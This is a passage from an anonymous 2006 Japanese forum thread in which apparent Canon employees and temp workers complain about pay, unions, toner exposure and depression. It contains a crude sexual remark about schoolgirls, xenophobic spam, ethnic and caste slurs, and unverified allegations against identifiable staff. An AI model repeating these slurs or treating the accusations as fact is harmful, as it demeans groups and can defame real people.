正確には出向ではなく初めから”遺跡”だそーです。
NECファブサーブを退職してから、御社へ行くとの事。
相模原事業場半導体のラインが1本つぶれたシワヨセ?





138 ::2006/06/06(火) 18:22:26 ID:g+FhbVpH
型事業開始>赤字>赤字>赤字・・・・・事業移転?
何やってんだか
CRGで売り上げ立ててるだけ(うぇ


139 : :2006/06/06(火) 23:24:51 ID:q85FydOr
相変わらず本社の正社員からは書き込みがないな
やはり不満があるのは地方工場と派遣社員だけみたいだなw

140 :pink:2006/06/06(火) 23:37:00 ID:5PUz8Tes
>>136
素人童貞率を聞かないと意味がない^^;

141 : :2006/06/07(水) 01:17:36 ID:+q/qrDyv
部活帰りの女子校生に中田氏したいです。

142 :名無し:2006/06/07(水) 18:10:05 ID:2/RfUgJ1

今、最も熱いスレッドはここ!!

「東輪堂ってどうよ?」

http://that4.2ch.net/test/read.cgi/dtp/1135880464/

必見ですよー!!


143 : :2006/06/07(水) 22:53:32 ID:WBtr4jn9
砦の変形労働制って何のためにやるの?

144 :1:2006/06/07(水) 23:34:13 ID:uUTJiJMw
宇都宮光学機器事業所ってどうよ?
地元帰りたいんだが激務?
日本の首都の名のつく半導体製造装置メーカーきんむ
激務だろうが、今より給料上がればいいのだが・・・

145 ::2006/06/07(水) 23:35:37 ID:uUTJiJMw
↑名前数字でいれちまった、スマソ
>>1ではありません。

146 : :2006/06/08(木) 23:25:07 ID:9jBCboRL
>>143
発案者とその組織の成果・実績作りの為

生産現場(工場)にとっては何のメリットもない

7月、8月何が起きるか関係者ならわかるよね?

だけど会社も組合も是正しようとしない
目的と手段が完全に入れ替わってる
生産現場は利益に結びつかない事は一切許されないけどバカ丸子は何でもあり
工場はバカ本社のムダまで被ってるんだよね…

もっとエグい事も書きたいけど…

やめとくw

147 :.:2006/06/09(金) 20:35:53 ID:BqZuZlaF
もう、会社やめてーぜ。引きこもりたい。

148 : :2006/06/09(金) 22:15:35 ID:gaQbGWBc
キヤノンの決算発表はいつですか?

149 : :2006/06/10(土) 07:53:45 ID:/GytO66J
2006年 (平成18年)
1月30日(月)  2005年12月期 決算発表
3月30日(木)  第105期 定時株主総会
4月27日(木)  2006年12月期 第1四半期決算発表
7月下旬  2006年12月期 中間決算発表
10月下旬  2006年12月期 第3四半期決算発表

150 :ななし:2006/06/11(日) 09:40:29 ID:m1ptZBm/
>>146
>目的と手段が完全に入れ替わってる
新棟建設もそうだし、丸子の運用も、端々に変な事多い。

>だけど会社も組合も是正しようとしない
うえ〜の方から話が来てんじゃないの?
丸子じゃもう誰も止めないし、反対もしない。
下々の者はいっそいくとこまでいってなんか起きてくれと思ってるのが多い。

151 : :2006/06/12(月) 20:09:30 ID:5C4tSLFj
http://headlines.yahoo.co.jp/hl?a=20060612-00000087-mai-bus_all
他人批判の前にすることが有るだろ・・・

152 ::2006/06/13(火) 01:47:38 ID:+lc49efE
>151
まったくだよ!7月〜8月何かあるぞ!

153 : :2006/06/13(火) 05:02:55 ID:LEOUJC9f
まじめに働いてる派遣さんの派遣契約を簡単に契約止めするほうが悪質じゃないか?
派遣料値上げ要求してきたらさっさと新品に交換するみたいでキヤノンのほうが悪質だよ。
人を物扱いしちゃって。
そもそも空前の大儲け出来たそのお金は派遣さんに支払うボーナス分みたいなもんだぞ。
ボーナス契約がない派遣さんはキヤノンにいいように使われてるだけ。
特定派遣でどこかの正社員が派遣されてくることがあるけどさ、大多数は一般登録型派遣さんだよ。
社内格差は社員と派遣でピンキリ1000万円開いてないか?
まさに”スラム街下丸子”の名にふさわしいおww

154 : :2006/06/13(火) 14:36:04 ID:dcM2VYFg
http://dc.watch.impress.co.jp/cda/accessories/2006/06/13/3988.html
キヤノンもこれ位真面目にやってくれないかな?

「たまたま・・・」が多すぎる

155 :650マン:2006/06/14(水) 15:01:12 ID:ctMILEAV
MAKE IT POSSIBLE WITH CANON
不具合の可能性もPOSSIBLE

156 : :2006/06/14(水) 16:35:34 ID:Pxp5yVU/
>>153
派遣乙。

157 :使い捨て:2006/06/14(水) 19:19:41 ID:+0ZGjNC6
◆労働法規制見直し

◆経団連が自律的労働を歓迎

◆残業代適用外「年収400万円以上」

弊社での実施はいつからですかね?
体裁のいい時間外手当て支払い免脱法
もし実施された暁には濡れは毎日2時間で帰るよ
どうせ組合は会社のプレゼン資料のキヤノンの文字を労組に変えて説明会やって終わりでしょ?

もう会社への帰属意識なんて誰も持ってないよ

158 :ななし:2006/06/14(水) 21:36:12 ID:Jdkzwz0h
>>157
>◆労働法規制見直し
>◆経団連が自律的労働を歓迎
一番嫌うのは人件費、大好きなのはロボット だからいくら安くても言う事
聞かない中○人労働者は嫌い

>もう会社への帰属意識なんて誰も持ってないよ
同感

一体何の会社にしたいんだ?
Fotune 100か?俺たちは別になりたくないぞ。会社のためにも自分のためにも
働ける会社がいい。
Fortune 100に入りたいんなら、勝手にFortune 100の会社に行ってくれ。
今ならCEOでやとってくれるとこもあるだろう。

159 : :2006/06/14(水) 22:37:25 ID:OjWM+a5/
つまりは、会社は君のものではないということだ
君は会社に労働力を提供して、その代価を得る、ただそれだけ
代価が少ないというなら、別の会社に労働力を提供すればいい

160 :UT大仏:2006/06/14(水) 22:43:23 ID:b5JQOWmz
一体何の会社にしたいんだ?
Fotune 100か?俺たちは別になりたくないぞ。会社のためにも自分のためにも
働ける会社がいい。
Fortune 100に入りたいんなら、勝手にFortune 100の会社に行ってくれ。
今ならCEOでやとってくれるとこもあるだろう。

161 :UT大仏:2006/06/14(水) 22:47:01 ID:b5JQOWmz
便所の便所にされた便所トナー工場

162 :大仏:2006/06/14(水) 22:52:09 ID:b5JQOWmz
便所の便所にされた便所トナー工場
便所の便所にされた便所トナー工場
便所の便所にされた便所トナー工場
便所の便所にされた便所トナー工場
便所の便所にされた便所トナー工場
便所の便所にされた便所トナー工場
便所の便所にされた便所トナー工場
便所の便所にされた便所トナー工場
便所の便所にされた便所トナー工場

163 :名無し:2006/06/14(水) 22:57:16 ID:EKxfO0nC
【政治】 "脱北者の保護・支援も" 「北朝鮮人権法案」、衆院通過→今国会で成立へ★2
http://news19.2ch.net/test/read.cgi/newsplus/1150199165/l50

このままでは大増税!! 朝鮮人難民流入!?! 『北朝鮮人権法案』 !!

絶望するだけ、諦めるだけ、愚痴るだけ では何も変わりません!!!!

まだ間に合います!!17日までが戦いです!今、出来る事(メール・電話・ネット伝播)をみんなでやりましょう!!

■■■■■■■■■■■■■■■■■■■■■■■■■■■■
     17日の参院でのストップを目指しています!
   時間がありませんっ!!どうか、手伝ってくださいm(_ _)m
■■■■■■■■■■■■■■■■■■■■■■■■■■■■

164 : :2006/06/14(水) 23:22:10 ID:HvOpjc0M
◆残業代適用外「年収400万円以上」

これが実現されたら便所は死刑だな。

165 : :2006/06/15(木) 00:22:31 ID:pmALPW8h
社員なら1年生以外全員対象だな。
最近は茄子がいいから1年生も対象かもな。

166 : :2006/06/15(木) 21:47:52 ID:zMGNnPzT



大仏ってクラブ入り浸りの香具師か?
あの流用隠蔽でとばっちり受けたか?w

167 : :2006/06/15(木) 22:26:47 ID:vWShcoPi
>>164
2ちゃんでは奥田が死刑ということになってる

168 :子会社:2006/06/15(木) 22:30:10 ID:XiY/fyvr
子会社で自殺者続出中〜

169 :本人:2006/06/15(木) 22:57:45 ID:JmkGejso
>>168
今に始まったこっちゃない…

会社は従業員が自殺しても痛くもかゆくもない
会社に報復しようとするならもっと有効な手段がある

亡くなった人には申し訳ないけど…
ご冥福をお祈りいたします

170 :くそ沼:2006/06/15(木) 23:09:48 ID:vrsL49ph
自殺者はどこの子会社だ!

171 ::2006/06/16(金) 12:40:50 ID:pLtwOAjt
CSS

172 : :2006/06/16(金) 18:54:11 ID:XPo8gRhX
90年代の頃には知り合いからすごく良い会社だと聞いてたし、今は業績的にも
超優良企業。だからキヤノソに転職してスキルアップしたいと考えていたが、
ここを見ていると考えてしまうな。

これだけ社員の不満の多い会社も珍しいよね。

173 :伊賀上野:2006/06/16(金) 20:23:09 ID:WYsfHP+r
子会社化してから鬱病者が激増している。
同じ仕事してるのに給料格差がでかくなっている。

174 : :2006/06/16(金) 22:42:08 ID:czVjY3HG
>>172
大半は製造子会社と派遣社員の愚痴だと思うが。

175 : :2006/06/17(土) 07:56:43 ID:96zZmIwU
>>172
2ch初心者?
割り切って使えよw



176 :個別のUT大仏:2006/06/17(土) 09:07:46 ID:w/ILbuUR
90年代の頃は我々は勝ち組だった。

今も、工場単体でみても業績的は 超優良企業。
労災孤児、鬱病患者を減らす為には独立路線しかないのだ。

177 :UT大仏:2006/06/17(土) 09:19:38 ID:w/ILbuUR
トナー云々というより、このサイズ域の粉体(こなこな)は皆有害です。
経肺製剤(鼻や口から吸い込んで肺から吸収するお薬)の最適な粒子のサイズは、
ある事例では3〜10ミクロンなどといわれています。
経肺製剤は、肺の奥まで届いて、息を吐くときに吐く息と一緒に出てこない必要があります。

トナーの粒子径は、製品によりけりですが、一般的には、4〜16ミクロンの粒子サイズに設計されています。
トナーの粒子は樹脂ですから、体の中で溶けたり吸収されにくいものです。
つまり、肺にたまりやすいものだといえます。

178 :大仏は刑事?:2006/06/17(土) 09:23:57 ID:w/ILbuUR
トナーや添加は有害か無害かでは、有害。

食べれない、体に注入できない・・・。
化学物質が無害な訳ないでしょ。
製造現場と試作現場を見てるけど、パートさんは酷い環境で働いてます。
吸入すれば塵肺か、アスベスト問題は確実。微粒子自体が問題。



179 : :2006/06/17(土) 09:50:08 ID:MAU/Aveo
と、派遣社員の方が申しております

180 :QT:2006/06/17(土) 10:29:56 ID:w/ILbuUR
丸子で働く事もありますが何か?

トナー職場の劣悪な環境下で、いやおうなく長時間働いたり、必要以上の義務感や、
過度の責任感や、成果主義への不安で働き続けるとき、ストレスがたまり、
心は病み、過労死や、過労自殺がやって来るのです。

自殺、8年連続3万人 超える(2005年); 2005-07-02 19:35:07
自殺未遂者の7割が過労
総数は3万2325人 ...

実習生からもトナーが人体へ与えるインパクトに対する懸念が
聞こえてきます。

181 :ダイブ:2006/06/17(土) 12:56:04 ID:w/ILbuUR

灼熱 自殺 塵肺 DNAに与えるインパクト

鬱 過労 自殺 自殺 呼吸困難 自殺 3K 呼吸困難


182 ::2006/06/17(土) 16:46:51 ID:t2H85r6g
派遣だろうが社員だろうが所詮は奴隷なんだが。
派遣は現代のエタヒニン制度だな。
一般庶民が優越感を感じられるように作られた。

183 :元従業員:2006/06/17(土) 19:30:31 ID:+mapFe1s
>>172
90年代の頃は社員が推薦さえすれば誰でも入れたし、良い人材をフレキシブルに採用できた。
しかし現在では雇用機会均等法が施行され、誰でも受け入れていいということにはならず
結果的に人事に大部分が権利以上されてしまったために、勉強だけ・口だけ・論文だけ上手な社員がたくさん入ってきた。
管理職になりたい君ばかりが入社し。肝心の研究や製造の職場でプロフェッショナルが減少した。
この不足を補う為に派遣社員や請負社員が続々と入ってきているのだが、プロとはいえない連中ばかりである。

このことから採用はしたが人手不足という負の遺産を多く抱えているのが現状である。

184 :172:2006/06/18(日) 10:11:18 ID:J8Rk2w+8
現在とあるところの研究職でそれなりの年収もあるが、キャリアアップの為に転職を
考えている。中途だから仕方ないがそれなりの年収ダウンのオファーとなりそうなの
でちと悩んでいるものの、独自技術へのこだわりと、自由闊達な雰囲気、技術者が仕
事をやり易い(働き易い)システムなどがあれば、行ってみたいと思っている。

好き勝手な研究が出来なくなったとか、福利厚生が削減されるたとか、サービス残業
とかは今時どこも同じこと。でもフレックスを廃止した頃の過去ログ読んでいると、
諸々の不満が社員にありそうな気がした。通信教育の補助まで無くなったりするのは
どうかと思うし、経営側が数字の改善にこだわり過ぎて、行き過ぎたコストダウンに
走るとなると心配だ。

仕事の楽しさ>>不満 と自分が出来れば良いのだが。

185 :もと社員:2006/06/18(日) 11:23:16 ID:q+/nwhby
この会社への転職はしない方が良い。
特に定年までいるつもりなら。

186 :同業:2006/06/18(日) 12:07:47 ID:KK4VGdT+
ここの医療機器どうですか?

187 :172:2006/06/18(日) 14:55:10 ID:sDlVcwSv
>>185
kwsk
転職したらば定年までと思っていまつ。

188 :.:2006/06/19(月) 17:10:07 ID:CoNZXbCn
age

189 :肥溜:2006/06/19(月) 18:55:47 ID:Nv26xvNY
>>164
どうせ便所が提案したんじゃないの?
こいつの功績?やったことといえば、フレックス廃止!社宅制度廃止!
など福利厚生を削る、従業苛めだけじゃん!
こんなんことしかできない奴なんだよ!


190 : :2006/06/19(月) 21:08:08 ID:13Wqj19O
まぁ、利益をあげたと言うよりは年貢を重くしたみたいなものだな。
会社の売り上げには貢献しとらんな‥

191 : :2006/06/19(月) 21:50:48 ID:QrYFqWp5
>>189
奥田時代に作られたものだよ

192 : :2006/06/20(火) 00:53:53 ID:6E53vMhB
ガソリン価格が上がっても通勤費は据え置き。
なぜなら車の燃費が上がってるからだとか。
常に最新の車に変えてると思ってるのか?
しかもその件は会社が一方的に議論の対象にしないように設定されている。
これがK団連会長企業のすることか!

193 : :2006/06/20(火) 01:08:52 ID:sT26SmQ1
そのうちガソリンが足りなくなったらサラダ油を入れてエコ生活してくるのが常識とか言ってきます

194 : :2006/06/20(火) 05:03:20 ID:WFu/wNn0
>>192

従業員とは議論はしません。理解と納得していただきます。

195 :胡瓜:2006/06/20(火) 07:14:52 ID:7O1S21XH
なんか茄子減ってるぞ!
会社業績分が!

196 : :2006/06/20(火) 12:33:13 ID:FncQ00p6
毎回現れる>>175>>179みたいな奴は隠蔽に必死なの?

197 :  :2006/06/20(火) 19:07:16 ID:IoJj9BWQ
>>195
円高だからだって上司に説得された‥

198 ::2006/06/20(火) 19:07:57 ID:G9b8ov39
こいつ糞だll0-0ll@xxne.jp

199 : :2006/06/20(火) 19:13:36 ID:sT26SmQ1
canon-proxy2.in.canon.co.jp

派遣さんにも賞与払わんかいボケ!

200 : :2006/06/21(水) 00:08:12 ID:yH65iCoi
>>195
>>197

理解と納得していただけましたね。

201 ::2006/06/21(水) 00:59:59 ID:LDT2Xbr4
>>195
>>197

円高で茄子が減るって?

援助交際で茄子(チンポ)が磨り減るってことだよね。
うらやましす

202 :糞 労組:2006/06/21(水) 12:58:36 ID:qwAMGecD
退職金の算定方法がまた変わった。組合員の同意はもちろん無し。
コンプライアンス違反です。

203 :前田:2006/06/21(水) 13:11:05 ID:1pyTYj5C
ここの会社はブラックですか?

204 :もと社員:2006/06/21(水) 20:08:36 ID:RewrD/l3
土壌汚染の下丸子。心も体もボロボロです。

205 : :2006/06/22(木) 01:18:20 ID:tMfpyT8u
もと派遣だろ
うそは良くないぞ

汚染が進んでいるのは実はバカな社員の脳

206 :濃すぎも:2006/06/22(木) 05:18:11 ID:i/C8iaBO
濃すぎも土壌汚染かなーなんか掘っている。

207 :.:2006/06/22(木) 14:22:46 ID:07BvVFeq
気に食わない糞管理職や役員への報復に利用できます。

Q 質問:残業不払いは罪ならないのですか?

A 答え:残業代の不払いは立派な労働基準法違反で、犯罪行為です。2003年
 2月にはサービス残業の強要で社会福祉法人の理事長が逮捕される、という事
 件も起き、最近は労基署も厳しく是正を指導しています。労基法では最高懲役
 6ヶ月または罰金30万の刑に処せられる重大な犯罪なのです。

<関連新聞記事>
(2003年2月3日 朝日新聞夕刊記事より抜粋)
サービス残業させた疑い 特養理事長を逮捕 青梅労基署 職員に所定の労働
時間を超えて残業させたのに時間外手当を払わずサービス残業をさせていたと
して、東京労働局青梅労働基準監督署は3日午後、東京都内で特別養護老人ホ
ームを運営する社会福祉法人の理事長を労働基準法違反(割増賃金不払い)の
疑いで逮捕した。サービス残業で経営者が逮捕されたのは、全国で初めて。
過労死につながるなどとしてサービス残業が社会的問題化する中で、再三の
指導にもかかわらず残業代の不払いを続け、不払い額も多額に上ったため、
悪質と判断した。 逮捕されたのは、東京都羽村市の社会福祉法人「鶴亀会」
の中村忠雄理事長(59)。中村理事長は、同会が99年4月に開設した特別
養護老人ホーム「神明園」(同市神明台4丁目)で、園長(59)、副園長(33)、
及び事務管理室長(39)の3人と共謀し、職員の時間外労働に対して労基法で定め
る割増賃金を支払わなかった疑い。 60人前後の職員のうち恒常的に残業をしていた
のは約40人で、平均で月50時間程度、多い人では月100時間にものぼる。しかし、
残業代はゼロか3、4時間程度しか払われず、未払賃金は1ヶ月の総額で約250万円、
99年の園開設以来で約1億円と推定される。 01年9月に同署がサービス残業の是正
を勧告したが、その後も職員らから通報が相次いだため、02年9月に家宅捜索を実施。
タイムカード機やパソコンのデータを分析したところ、退職時刻を改ざんしていたことが
わかった。タイムカード機の押収後は、残業時間は自主申告となったが、同園では、残業
時間を申告しないよう職員に圧力をかけていたとみられる。

208 : :2006/06/22(木) 21:21:28 ID:/bU8lRaz
>>206
鬱飲み屋も掘ってるぞ。
蚊濡魔の再現だな。

209 :  :2006/06/22(木) 22:00:14 ID:wmmuFjvD
>>207
前にサービス残業はもーしない!って言ったら

お前の仕事のやり方が悪いんだろ!って言われて終わった‥('A`)ナットク

210 : :2006/06/22(木) 22:16:15 ID:zUsmNQzz
UTまっちゃんの女遊びもすごいぞw
携帯電話鳴りすぎww

211 :河本:2006/06/22(木) 23:06:25 ID:bm9S+896
>199
派遣に食わす茄子はねぇ〜

212 :  :2006/06/23(金) 00:05:02 ID:dvWZSdhW
CFCのおばちゃんってボーナスいくらくらい?

213 : :2006/06/24(土) 01:14:50 ID:SvidRkvs
大企業のシャチョーっていうのは、
シャインのことをどう思っているんだろうね?
本音を聞いてみたいな。

214 : :2006/06/24(土) 04:39:52 ID:VExxAPfN
シャチョサンどうぞ↓

215 :鄭富士夫<`∀´>:2006/06/24(土) 05:57:01 ID:3C+fQRAn
産業ロボニダー

216 :÷÷÷÷:2006/06/24(土) 11:00:04 ID:0Avm4nt0
1,2年の休職かあ。思い起こしてみれば、二十年も鬱病を騙し
騙しやってきたからなあ。仕事はほんと大変だった。よくやって
きたよ。それを考えたら1,2年ていいじゃないか、と思う反面
もうそろそろ復職しないとと言う自分がいる。毎日、複雑な思い。

217 :株主様:2006/06/24(土) 12:31:55 ID:mP/vREVW
もうすぐ配当だぃょぅ(=゚ω゚)ノ
すっごく楽しみだぃょぅ(=゚ω゚)ノ
お前らもっと働いてさらに
配当増やして欲しぃょぅ(=゚ω゚)ノ

218 :匿名:2006/06/24(土) 17:35:19 ID:b/WjynQ5
キヤノン超セコい。昔、社員割引あったけど、社割で買ったのを他人に売った奴がいたから社割がなくなったらしい。でも飲み会多いし、こいつら無駄金使い過ぎ!そんなくだらないのに使うんだったら残業手当てぐらい出せよ!キヤノンの人間バカばっか

219 ::2006/06/24(土) 19:27:17 ID:wjAGp3OB

新製品を開発し、売り上げを伸ばし、
それで、毎年最高益を上げるなら、すばらしい
社長と思うが、近年やってるのは、福利厚生、手当てのカット
研究費の削減だもんなあ。
それで、一時的には最高益は出るだろうが、そんなのいつまでも続かないと思うが。
長期的ビジョンではなく、米国のように、目先の利益ばかり追い求める
ようになったらおしまいだね。




220 :  :2006/06/24(土) 19:53:25 ID:v0/kEU0u
nyで個人情報漏れたね・・・。
仕事中にnyやってる木○さん!やばいですよ〜。

221 : :2006/06/24(土) 23:56:59 ID:3C+fQRAn
キャノンはじきにビル売却かなんかするだろうね。
当然庭園も売却。
福利厚生無いんだから当たり前の話ですよね。
もし売らないということになると企業価値は更に低下するでしょ・

222 : :2006/06/25(日) 01:16:01 ID:sze9uxUu
厚労省の子会社の国立がんセンターでは、東京都中央区内の一等地に存在する
「72平米の3LDKで約5万円」と超格安な公務員宿舎に入居しながら
過去2年間に200回以上同敷地内の勤務場所に遅刻した香具師がいるらしい。
庶務に提出する勤務時間割り振り表には虚偽記載して追求を逃れているようだ。

南向きの日当たり良好なアパートで、高層階からは東京湾花火大会を眺められる!

その香具師は、『超格安公務員宿舎の居住権は既得権益なので、停年まで現在の
東京都中央区内の超格安公務員宿舎に住み続ける』と言っているらしい。

キャノンは、この人物の数々の違法行為に加担しているらしい。


223 : :2006/06/25(日) 06:23:22 ID:fzfeEHTy
税金を払う香具師は反日ですな

224 : :2006/06/25(日) 09:39:39 ID:EmRDL1Vi
>>221-222
キャノン?

キヤノン!

225 : :2006/06/25(日) 16:22:54 ID:9ASusJvH
>>220
kwsk

226 : :2006/06/25(日) 17:29:07 ID:YPw6Wf7j
>>221-222
風説の流布?

227 : :2006/06/26(月) 22:03:44 ID:U67K31v2
キヤノンに転職を考えています。
ここは、子会社への出向転籍や製造工場への転勤はどれくらいありますか?
いちおう生産技術系を希望しているので、少し気になります。

228 :@丸子:2006/06/27(火) 10:24:20 ID:vc9nVt+/
俺は仕事中に2chやってるよ。てか、上司の命令で。
キヤノン関係のスレは全てHTMLで保存しろと言われた。
ちなみにnyはやってませんよ。やってる奴はいるみたいだが。


229 :@丸子:2006/06/27(火) 10:45:03 ID:vc9nVt+/
あと問題なのが飲み屋で新製品情報を喋りまくる奴。
帰りはタクシーじゃなく、自家用車で飲酒運転。
飲酒運転は解雇とか言っときながら、あんた(○○まるさん)がやってるんだよ!
上にチクっちゃうよ!

しかし取手の評判は悪いね。駅近くのキャバクラでは情報筒抜け。
とりあえず、取手のバカは解雇すべき。派遣を含め。

あとね、不倫多すぎ!特に取手。
中卒高卒の社員:既婚者男 派遣:独身女
発覚され、派遣女は解雇になり男は今までどうり。

俺はキヤノン入社で手取り18万。もうやってらんね。

裏情報なら何でも教えてやるよ。もう辞めるつもりだし。

230 :.:2006/06/27(火) 13:51:33 ID:p38JQdin
昨日、日経新聞で便所が福井総裁をかばうような発言してた。ひょっとして
便所も村上ファンドとなんかあるのか?

231 : :2006/06/27(火) 20:31:24 ID:IWoAES0u
>>230
むしろ村上批判してるだろ。
断片的な知識で物を語るな

232 :名無し:2006/06/27(火) 21:06:26 ID:52A7Z/ZN
観音様に入社されるとWC様の洗脳技術によって…宇宙人にされちゃうま。とりあえず中国に行ってらっしゃい?(笑)

233 : :2006/06/27(火) 22:56:22 ID:7VGjLA3b
うちは所長自ら飲み屋で製品記号出しまくってたな‥

234 :sage:2006/06/28(水) 21:40:20 ID:kvMpgofq
便所部屋:には、300万のベットがあるそうな・・・だけど便所はいちど寝て「気に医らねーからとりかえろ」っとのたまうたそうな・・便所部屋にはそんなものがごろごろある・・・
ここに書き込んでいる人には創造もつかないと思うが・・・

235 :Google:2006/06/29(木) 01:40:28 ID:4J1IB2xv
いいからおまいら

悪名高い

でぐぐってみろ

236 :胃臭い:2006/06/29(木) 02:29:09 ID:nlOs2EqB
やった。トップに出たねw
フラッシュに仕込んであるのかな?


237 :名無し:2006/06/29(木) 17:21:48 ID:NzA2F5hL
W〜ィ。\(^-^)/。中子入りの金型壊してやんの……さっき修理依頼がきたょ。120万ぐらい請求するからね。待っていてね。

238 :インク氏ね:2006/06/29(木) 20:14:49 ID:U5UaRJs9
UTマッチャン暴走中

だまし転籍による環境悪化で爆発寸前
鬱病者続出だしどうしてくれるの?


239 : ◆EZSHYDkkNE :2006/06/29(木) 21:28:30 ID:JafnOa2H
>>183
(´ー`)yー~~その通りだ罠。
プロが減って、口だけ達者な上がゴロゴロしてる罠。

最後にゃ、グループ傘下の会社、協力会社に天下るわけだ罠。
こんな事してちゃ、クオリティも下がるわけだ罠。


240 : ◆EZSHYDkkNE :2006/06/29(木) 21:45:02 ID:JafnOa2H
(´ー`)yー~~天下りされた側にとっちゃ、はた迷惑な話だ罠。

ププッ

241 : :2006/06/29(木) 21:52:22 ID:v8BeXue+
>>235
ワロス

242 :>>240:2006/06/29(木) 22:24:05 ID:U5UaRJs9
CBM東京・神奈川・大阪にはCMJの社員がプロパー社員より多く在籍しています。
キヤノンシステムアンドサポート株式会社とCBM各社との社風というかカルチャー、労働実態
があまりにも違い過ぎます。
いままでに何度も合併を検討したのですが無理と判断しました。
これにはキヤノンシステムアンドサポート株式会社も同感で異文化を持った人材が急に増えると
各所で軋轢が生じて業務に支障がきたすと判断されました。
今までのように幾人かの受け入れなら多勢に無勢で吸収できましたが・・
現在、キヤノンシステムアンドサポート株式会社に出向されているCMJ社員の大半は心に病を
持って労組や健康管理室に相談しています。
この事実に会社はまだ見てみない振りをしていますが合併となると相談者数が増大して
無視できない事態になるのを恐れています。
キヤノンシステムアンドサポート株式会社もCMJ社員の受け入れは正直迷惑のようです。

243 :人生かえせよ:2006/06/29(木) 22:26:28 ID:U5UaRJs9
労働組合は本来、組合員の権利を守りまた組合員を代表して会社側と待遇改善などの申しいれ
をするのが役割のはず。ところが会社側が組合の役員に対して、任期満了後の社内での立場(ポスト
や受け入れ部署)をある程度、慣習的に保障してきていることもあり、これが正常な労働組合の
活動を阻害している。会社の思惑どうりに評価制度や待遇、福利厚生に関するルールが変更されて
きている。これって労働関連法規に抵触しないのか?昨年の評価制度改革(改悪)も知らない間
に決まってしまっていた。普通は組合員の過半数とか三分の二以上とかの同意なしにはそんなこと
できないんじゃないのか?法律に明るい人いたら追加で書き込んでくれ!

244 :精神ボロボロ:2006/06/29(木) 22:27:39 ID:U5UaRJs9
労働組合は本来、組合員の権利を守りまた組合員を代表して会社側と待遇改善などの申しいれ
をするのが役割のはず。ところが会社側が組合の役員に対して、任期満了後の社内での立場(ポスト
や受け入れ部署)をある程度、慣習的に保障してきていることもあり、これが正常な労働組合の
活動を阻害している。会社の思惑どうりに評価制度や待遇、福利厚生に関するルールが変更されて
きている。これって労働関連法規に抵触しないのか?昨年の評価制度改革(改悪)も知らない間
に決まってしまっていた。普通は組合員の過半数とか三分の二以上とかの同意なしにはそんなこと
できないんじゃないのか?法律に明るい人いたら追加で書き込んでくれ!

245 :パワーハラスメント:2006/06/29(木) 22:29:52 ID:U5UaRJs9
パワーハラスメント断固反対  これは聖戦である



246 :健康を返せ:2006/06/29(木) 22:31:47 ID:U5UaRJs9

子会社化+2重賃金構造+パワーハラスメント断固反対  正義の為にみんなで戦おう

247 : ◆EZSHYDkkNE :2006/06/29(木) 23:53:27 ID:JafnOa2H
>>242
そう、合併などしたくないと抵抗しても、グループ内の流れは変わらん。
子会社の合併を幾つか見てきたが、どれも最初はまとまってなどいない罠!
三年も過ぎたら、どちらの力関係が上だったか、はっきりする罠!
企業トップの旗振り一つで、下の者の気持ちなどお構いなし。

合併は…
【なるようにしかならない】

248 ::2006/06/30(金) 01:57:02 ID:dLSdccAw
40過ぎのおばさんの賃金カットして
若い派遣の女の子を増やしてください

249 :誘導:2006/06/30(金) 07:01:11 ID:4p5hAHu2
販社グループの話題は
「キヤノン販売の裏事情」スレでどうぞ。

250 : :2006/06/30(金) 20:30:15 ID:IpmnOaOO
昭和30〜40年代、よく企業内組合の共産党員が、組合を裁判にかけていたな。
自らの利益のために、組合員を売る行為を訴えていたのだ。
組合員としては、共産党は困るが、取り合えず、やってることは正しいから、ほって置こうと
いう態度を決め込んでいた。
あわてた会社人事は、共産党以外の組合幹部を結集させて、共産党員を追い出すことを画策した。
組合の機能を、人事部苦情処理係あるいは第二人事部に限定するなら、あなた方を
高く評価しましょう、という密約だ。
幹部連中の中には、思想なしで本気で組合員の処遇を良くしようと考えている御仁も確かにいたが、
少数派であった。
大部分は、自分さえ良ければ良い、という御仁だったから、
アカの追放と、労組の御用組合化に成功した。
これが歴史的背景。

だから、法律的にどうかという事になれば、訴えることをできるし、裁判で勝利することもできるだろう。
しかし、私が思うには、あなたも御用組合の一員になって、優良ポストを
もらうことに徹した方が、よいと思う。
正面から戦えば、貴方自身も傷つくことになるから。

251 : :2006/06/30(金) 23:56:31 ID:mEgsmzxU
ユニオンショップも原因の1つだ。第2組合を立ち上げるような気骨のある奴は・・・居ないな。
今の状況なら、組合なしのリコーとさほど変わらん。組合費が勿体無いから解散しろ。

252 ::2006/07/02(日) 03:58:33 ID:E7CxRDk9
ぬまた おやじ きも

253 :ななし:2006/07/02(日) 15:44:41 ID:ILUCRLzq
>>251
>今の状況なら、組合なしのリコーとさほど変わらん。組合費が勿体無いから解散しろ。
経団連会長としては実質はどうあれ組合も無い会社は飲めんだろう。。

形式上の足かせでもなくなりゃ好き放題しかねないという器具もあるが。。

254 :誰か助けて:2006/07/02(日) 16:42:49 ID:qc59PhXY
過労とストレスで呼吸もやばくなってきています。

利潤追求なのはわかるんですが、社員の健康とか幸福は
どうでもいいんですかね?人の心までも合理化するつもりなんでしょうか?

他のエクセレントカンパニーもこんなに監獄みたいな
環境を強いられているの?


255 : ◆EZSHYDkkNE :2006/07/02(日) 17:02:51 ID:1EsnXw1E
>>254
淫区、愚ループ系含め心が病んでいる者は少なくない。

しかし、愚ループ系の方が淫区に比べ、労働環境・賃金が低い事も忘れちゃいけない。

256 :hatopoppo:2006/07/02(日) 17:35:39 ID:1iB5Hh8y
みなさん、漏れの愚痴を聞いてください。

ある大企業の子会社で働いているものです。
今の会社が親会社の余剰人材の受け入れ先になってしまったので
将来に不安を感じて去年キヤノンに応募しますた。

書類選考をパスして面接まではすんなり行きました。
面接の日は朝早くからキヤノンに訪問してクレペリンとSPIをやらされました。
面接を受ける人は9人ほどいました。

そして自分の順番が回って面接です。
面接で最初に聞かれたことは学歴の話でした。
提出書類を読めば分かる学歴のことを15分も聞かれました。
何故か学生時代の研究内容まで聞かれました。
私が学生やっていた時期なんて10年以上前・・・

次に技術の人から質問がありました。
技術の人の最初の一言は
「○○さんのスキルだと間違いなくこの仕事ができると思うのですけどね」
この言葉には驚きました。私のスキルのことなんて一言も話していないのに
何故そうにまで言い切れるのか教えて欲しいものです。
もちろん、その方は私の職務経歴書を読んだのだとは思いますが、
スキルを確認する質問をするべきではないでしょうか?
技術の人は続いて、私に与える予定の仕事を説明しながら
私にいくつかの質問をしたのですが、あまり深い話にはなりませんでした。
「○○さんには○○をやってもらいたいけどそれでいいですか?」
「○○という製品のここはどうなっていると思いますか?」
技術の人の質問も15分程度で終わったような気がします。

(つづく)

257 :hatopoppo:2006/07/02(日) 17:36:24 ID:1iB5Hh8y
(続き)
